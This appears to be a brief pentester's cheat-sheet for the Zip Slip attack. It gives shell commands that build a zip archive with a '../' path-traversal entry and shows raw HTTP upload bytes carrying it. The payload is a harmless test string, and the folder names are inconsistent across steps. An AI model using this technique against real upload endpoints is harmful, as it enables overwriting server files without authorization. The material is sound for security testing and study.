ZIP Slip

Create folder that imitate the desired path on the server

mkdir ../desired_folder 

Make file inside that folder

Remember that the path on the right will be used in the zip slip.

echo "test123" > ../plugins/payload.txt

Zip the file with path traversal

zip payload.zip ../plugins/payload.txt

Result as HTTP Traffic

Content-Type: application/zip

PK
‘0[58”n../folder/payload.txtUT	‰ŒÉh‹ŒÉhux
õ
test123
PK

‘0[58”n
¤../folder/payload.txtUT‰ŒÉhux
õ
PK

\X
------WebKitFormBoundarynxMw37lRujBsjUlU--